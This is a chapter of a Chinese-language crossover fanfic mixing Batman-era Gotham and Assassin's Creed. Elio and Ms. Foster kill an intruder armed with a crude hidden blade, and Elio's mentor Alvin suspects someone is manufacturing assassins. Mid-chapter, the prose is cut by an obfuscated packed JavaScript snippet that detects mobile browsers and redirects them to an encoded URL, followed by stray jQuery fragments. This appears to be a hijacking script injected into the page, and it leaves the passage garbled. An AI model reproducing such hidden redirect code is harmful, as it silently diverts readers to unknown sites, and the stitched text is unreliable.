13.第 13 章
作品:《[综英美]刺客竟是我自己》 福斯特小姐小心翼翼地去摸藏在书架顶上的弹匣。她快速装填弹药,而埃利奥抓着手里的飞刀,屏息观察着门外发生的一切。闯入者从窗外翻了进来,在客厅转了几圈,寻找他们的身影。
一时寂静。
直到埃利奥的手机忽然响了一声。他没敢看福斯特小姐的眼神,只是深吸了一口气——闯入者很显然听到了这一声响,直奔书房而来。但他没有立即开门,而是单手举起了什么。
——怎么他也有枪?!
埃利奥狼狈地翻滚躲避,暗恨自己出门时就不该不好意思顺走阿尔文的装备。子弹打烂了门板,靠在书架后幸免于难的福斯特小姐伸出手,把滚到她面前的埃利奥拎了起来。
接着是砸门声。埃利奥把飞刀甩进门板上的洞口,正中闯入者的胸膛。他一声也没吭地倒下了,公寓恢复安静。
“他死了吗?”福斯特小姐用气音问。
“我去看看。”埃利奥说。
他隔着门又补了几刀,闯入者都没有一点声响。埃利奥放下心,走出了门,低头去看闯入者的情况。就在那一瞬间,地上的“尸体”忽然瞪开双眼,朝埃利奥扑来。
埃利奥抬手去挡,他们缠斗了一番,身中数刀的闯入者略逊一筹,逐渐失去力气。埃利奥抓住时机,一个背摔把他砸到茶几上,福斯特小姐刚打理完的花瓶碎了一地。
埃利奥往怀里一摸,正要再摸出一把飞刀,给闯入者最后一击,却发现库存耗尽。
就在此时,闯入者颤抖了几下,从地上爬了起来。他看着空手的埃利奥,冷笑一声,“刺客。”
“就目前的情况来看,”埃利奥握出格斗式,“你看起来比我更像一个刺客。”
“走着瞧吧。”闯入者说。他抬手虚晃一招,埃利奥也躲了一下,身体一晃。闯入者冲他一笑,埃利奥咬着牙也露出一个笑,正要攻上前,却看见闯入者手中忽然变出一枚花瓶碎片,朝他飞来。
埃利奥立刻矮身躲进沙发背后,几次尝试冒头,又迅速缩回,只听得一片噗嗤噗嗤的声响尖锐地钻进沙发皮层,扎进海绵里。终于有片刻停顿,埃利奥估计他用完了花瓶碎片,从沙发的另一边钻了出来,猛扑向闯入者。
正从身上拔飞刀的闯入者重重倒回鲜花零散的肢体上。埃利奥狠狠压下飞刀,闯入者痛地嘶吼一声,和他争夺着刀柄。拉锯战并不漫长,刀尖一点点深戳进去,忽然闯入者放弃似地松了手,刀一插到底,连柄一起没入身体。
埃利奥没收住力道,眼中闪过一丝诧异。闯入者对他阴冷一笑,骤然抓出了空无一物的手;刀尖的寒光从他袖口中一闪而过,刺到埃利奥眼前。
埃利奥猛地后仰。但他清楚地预见到,这个距离他已经来不及反抗!
砰的一声。
险之又险地,袖剑挥起的尖锐风声擦过埃利奥眼脸下方,随后无力地垂倒在地。埃利奥松了口气,看到福斯特小姐从书房门口走了过来,毫不犹豫地往闯入者的头上又补了一枪。
“混蛋,”她说,“那张沙发我可是在家具店里挑了一下午!”
埃利奥从闯入者身上爬了起来,顺手抹了抹左侧眼脸下方火辣辣的伤口。他嘶了一声,不无敬畏地看着福斯特小姐站在那里,往尸体的胸膛又开了几枪。
“你救了我一命,格林女士。”埃利奥哑声说。
“你也救了我一命,埃利奥。”
在他惊讶的眼神中,福斯特小姐随手把手枪插回腰后。
“他是冲我来的,”她若有所思,“很可能是因为我伤害了某些人的利益…”
先是被绑架,接着是被入室谋杀。这已经很明显了。她被发现了,尽管她一直很小心。她得将这件事告诉蝙蝠侠…
警车在楼下的响声打断了福斯特小姐的思路。她抬起头,看到埃利奥反应很快地蹲了下来,剥下尸体手上的一件什么东西。
“你是怎么知道我的名字的?”埃利奥头也没抬地问。
“你是我的学生。”福斯特小姐抱起手臂,“这还是你自己说的。”
埃利奥细心地拔下了尸体身上的飞刀,塞回怀里。他站起来,欲言又止地看了眼福斯特小姐。
“我记得你的脸,”她笑了,“但你似乎不记得我了。所以你到底来干什么?”
“…抱歉,格林女士。”埃利奥说,“我是薇洛的一个朋友。我在寻找她的下落。出于种种原因,我没法联络警方,而你是学校监控中最后一个和她接触的人——抱歉我欺骗了你。但假如你还能想起任何和这件事有关的线索,我会不胜感激。”
福斯特小姐看了他一会儿。
“好吧,反正我也告诉警方了。”她说,“那天有两辆货车,我被关在一辆,薇洛在另一辆。在他们交接的时候,我听到了熟悉的声音,认出那是薇洛的哥哥格雷厄姆。”
埃利奥安静地凝视着她。
“——我弄出了点动静,告诉格雷厄姆他的妹妹也被绑架了。”福斯特小姐回忆着,“他很惊讶。或者说,还有点愤怒。反正,他立刻着急地冲了出去。我不知道后面发生了什么,车倒了,我也撞晕了。”
“我明白了。”埃利奥慢慢地说。
他有一会儿垂下了目光,似乎有些悲伤。福斯特小姐听到门外有电梯叮的一声响。
“如果你不能见到警方,”她提醒,“那么,你现在就得离开了。”
“我知道。”埃利奥看了眼背后的门,往窗口走去,“你知道袭击你的人背后是谁吗?”
“我不知道。”
门被敲响。
“那么,我可以为你提供一条线索。”埃利奥说,“那天‘绑架’你的人,是奎恩帮的。他们在贩卖人口。”
福斯特小姐忽然愣住了。
“你说奎恩?”她追问。
门外,哥谭警局在告知他们收到的噪音投诉。
“利亚姆·‘幸运’·奎恩,”埃利奥站到窗边,往下望去,“你听说过这个名字?”
下面是一条河。太棒了,他又要挑战极限了。
“…他好像是我丈夫的老板。”福斯特小姐喃喃,“约翰尼为他做账……”
他在她走过来的时候合上电脑屏幕。他说她需要休息。他带着孩子去了父母那里。他在门口拉着孩子们,催促他们“和你们的妈妈”吻别。一幕幕回忆闪过福斯特小姐的脑海。
埃利奥回头看了她一眼。
“我很抱歉。”他温和地说。
敲门声逐渐加快。福斯特小姐沉默地站在尸体旁边,鲜血在地板上漫延,沾湿了她的拖鞋。客厅一片狼藉,被扎破的抱枕爆出羽毛,落进洒着花瓣的血泊里。
“别这么说,”她低声说,“那又不是你的错。”
敲门声停了。这是警官准备破门而入的前奏。但埃利奥在窗口犹豫了一会儿,又快步走了回来。他从口袋里抽出一支笔,迅速写出一串数字,将备忘录塞给了福斯特小姐。
“如果你需要任何帮助,给我打电话。”他强调,“任何帮助,你明白吗?别做冲动的事。”
福斯特小姐抓着他塞到手里的纸条,惊讶地看着曾经的学生。埃利奥还在凝视着她,重复了一遍,“别做任何冲动的事情。”
在福斯特小姐来得及回答任何话之前,门被哗啦破开。埃利奥几步赶到窗前,纵身一跃。
至于破门而入的警官有没有注意到他的背影,这一点仍然是一个谜。但事后埃利奥查看新闻的时候,没有看到任何通缉入室抢劫罪犯的消息。新闻只提了一句女子反杀入室劫匪,这让他松了一口气。
现在格雷厄姆和薇洛的追踪线索合到了一起。他只需要盯着奎恩帮的人口交易就行了。但埃利奥反而充满了疑惑。
是关于那柄袖剑的事情,因为阿尔文告诉过他,那是只有刺客使用的武器。
它虽然做工粗糙,没有画三角鹰喙标志,只是一把绑在胳膊上的触发性匕首。但闯入者自己说过那个词。
“刺客”。
当埃利奥在信息板上写下这个词的时候,安全屋的门传来开关的声响。阿尔文从布鲁德海文回来了。
“啊,你还活着。”他和埃利奥擦肩而过,随口说,“我还在担心我走开的这一晚你会一不小心把自己弄死呢。”
埃利奥默默转头。没得到回应的阿尔文疑惑地往信息板看了一眼,发现埃利奥鼻梁上添了一道新的划伤,看起来刚结疤。
“差一点。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15262450|166479||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
埃利奥说。
阿尔文欲言又止。
在他来得及说什么之前,埃利奥回过头,又看向信息板。
“我有一个问题,阿尔文。”他说,“兄弟会有叛徒吗?”
从导师的沉默中,埃利奥得到了回答。他抄起签字笔,在“刺客”和“圣殿骑士”之间连起一条线,打上了问号。
“那些叛徒通常会去哪里?”埃利奥问。
他没有听到靠近的脚步声。但下一刻,阿尔文的声音就响在了他身后。
“我们会尽全力追杀那些背叛我们的同伴,”他沉声说,“但有时候结果不尽人意。他们通常会倒向圣殿骑士的阵营,成为迫害我们的敌人。你昨晚遇到了谁?”
“一个能空手爬上十八楼的人,”埃利奥看向他,“我拿走了他的袖剑。就在那里。”
阿尔文拿起那枚沾血的袖剑,检查了一会儿。他原本沉着的脸色逐渐变得疑惑。
“这是一个仿制品。”他指出。
“它当然是。”
“不,你没明白我的意思,”阿尔文弹出袖剑,将它切开,“它只是一个粗糙的仿制品——虽然无论谁做的这个,他一定知道刺客拥有一个袖剑,也知道刺客会从手腕中弹出袖剑,但他不是真的清楚袖剑是怎么做的。”
埃利奥疑惑地看着阿尔文从自己手上拽下袖剑,和仿制品放到一起比对给他看。
“袖剑的构造是很精细的。”阿尔文解释,“它必须被正确地使用,才能既不伤害到使用者,又能恰到好处地攻击他人。戴上试试。”
在阿尔文的示意下,埃利奥戴上了阿尔文褪下的袖剑。他刚把它套上手腕,阿尔文就笑了。
“不对,方向错了。”阿尔文替他转了一圈,“如果你像刚才那样戴上,弹出来的袖剑会切断你的手指。”
埃利奥郁闷地松开手,让阿尔文给他戴上,“肯定有其他人搞错过吧。”
阿尔文只给了他一个意味深长的眼神。“试试看,”他替埃利奥摆好手势,“动一动你的无名指。”
清脆的一声响。埃利奥弹出袖剑,在灯光下看到它反射出自己的脸。他转了一下手腕,袖剑中倒映出的自己只剩下半边脸,而对面,阿尔文的侧脸正望着他。
“感觉如何?”阿尔文的那半张脸说。
“我应该有什么感觉吗?”埃利奥的那半张脸问。
“你会发现它有多好用的,”阿尔文摇了摇头,“不过不是现在。不说这个了,我们回到刚才的话题。”
阿尔文伸出手。埃利奥以为他是要袖剑,但当他去解手腕上的装置的时候,阿尔文摆了摆手,从他手里拿走了签字笔。
“留着吧,”阿尔文背过身去,在信息板上开始画示意图,“我在给你做新的,但还没做完。你可能会比我更需要它,反正我还有一个——说回刚才的话题,我不认为这玩意来自兄弟会的叛徒。他们做不出这么粗糙的东西。这可能和我来到哥谭的目的有关,而我还没有告诉你。”
“真的假的?我还以为你是为了我而来的。”埃利奥开玩笑说。
阿尔文半是无奈半是好笑地瞟了他一眼,用笔尖指了指他。被指到的学徒举起双手,他们都笑了。
“蝙蝠侠告诉我哥谭出现了模仿刺客的行为,”阿尔文很快恢复正经,“我们怀疑有人在‘制造’刺客。你昨晚见到的人,可能就是被制造的刺客。”
埃利奥的表情变了。“制造刺客?”
“目前我们收集到的目击线索里,人造刺客们已经出现了伊述血统的各种特征。”阿尔文在信息板上画出,“鹰眼,攀爬,搏斗,再加上你遇到的‘袖剑’…至于他们背后是谁,他们的目的又是什么,我们目前还不得而知。虽然我知道你有你自己要追查的案件,但如果你遇到任何有关的线索,记得告诉我一声。”
埃利奥没有回答。阿尔文看了他一眼,发现埃利奥的表情有点奇怪。
“怎么了?”
“…你有没有想过,”埃利奥说,“我会不会也是一个被制造的刺客?”
阿尔文看着他。那支签字笔在他手中若有所思地转了一圈,刺客为它盖上笔帽,夹回信息板上。
“我想过。”他说。